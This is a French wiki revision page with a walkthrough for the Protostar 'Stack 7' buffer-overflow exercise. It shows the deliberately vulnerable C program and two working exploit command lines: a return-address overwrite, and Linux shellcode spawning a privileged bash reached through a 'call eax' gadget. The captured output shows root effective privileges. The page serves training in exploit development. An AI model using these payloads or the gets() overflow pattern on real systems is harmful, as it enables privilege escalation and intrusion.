Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
— |
exploit_exercises_protostar:stack7 [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
+ | ====== Stack 7 ====== | ||
+ | |||
+ | <code C> | ||
+ | #include <stdlib.h> | ||
+ | #include <unistd.h> | ||
+ | #include <stdio.h> | ||
+ | #include <string.h> | ||
+ | |||
+ | char *getpath() | ||
+ | { | ||
+ | char buffer[64]; | ||
+ | unsigned int ret; | ||
+ | |||
+ | printf("input path please: "); fflush(stdout); | ||
+ | |||
+ | gets(buffer); | ||
+ | |||
+ | ret = __builtin_return_address(0); | ||
+ | |||
+ | if((ret & 0xb0000000) == 0xb0000000) { | ||
+ | printf("bzzzt (%p)\n", ret); | ||
+ | _exit(1); | ||
+ | } | ||
+ | |||
+ | printf("got path %s\n", buffer); | ||
+ | return strdup(buffer); | ||
+ | } | ||
+ | |||
+ | int main(int argc, char **argv) | ||
+ | { | ||
+ | getpath(); | ||
+ | } | ||
+ | </code> | ||
+ | |||
+ | ===== Solution 1 ===== | ||
+ | La solution du stack6 fonctionne aussi sur ce niveau ;) | ||
+ | |||
+ | <code> | ||
+ | user@protostar:/opt/protostar/bin$ (python -c 'print "A"*80+"\x83\x83\x04\x08"+"\x6d\xfd\xff\xbf"'; cat) | ./stack7 | ||
+ | input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAAAAAAAAAA?m??? | ||
+ | id | ||
+ | uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user) | ||
+ | </code> | ||
+ | ===== Solution 2 ===== | ||
+ | |||
+ | On remarque que la fonction retourne ce que nous avons entré dans le ''gets''. Les valeurs de retour sont passées dans le registre ''eax'', donc le registre ''eax'' pointe vers notre buffer. Il suffit donc de mettre notre shellcode directement dans le buffer et de sauter sur un ''call eax'' ou un ''jmp eax''. | ||
+ | |||
+ | <code> | ||
+ | user@protostar:/opt/protostar/bin$ objdump -S ./stack7 | grep call | grep eax | ||
+ | 8048478: ff 14 85 5c 96 04 08 call *0x804965c(,%eax,4) | ||
+ | 80484bf: ff d0 call *%eax | ||
+ | 80485eb: ff d0 call *%eax | ||
+ | user@protostar:/opt/protostar/bin$ (python -c 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"+"A"*47+"\xbf\x84\x04\x08"'; cat) | ./stack7 | ||
+ | input path please: got path j | ||
+ | X?Rfh-p??Rjhh/bash/bin??RQS??̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAAAAAAAAAA?? | ||
+ | id | ||
+ | uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user) | ||
+ | </code> | ||
+ | |||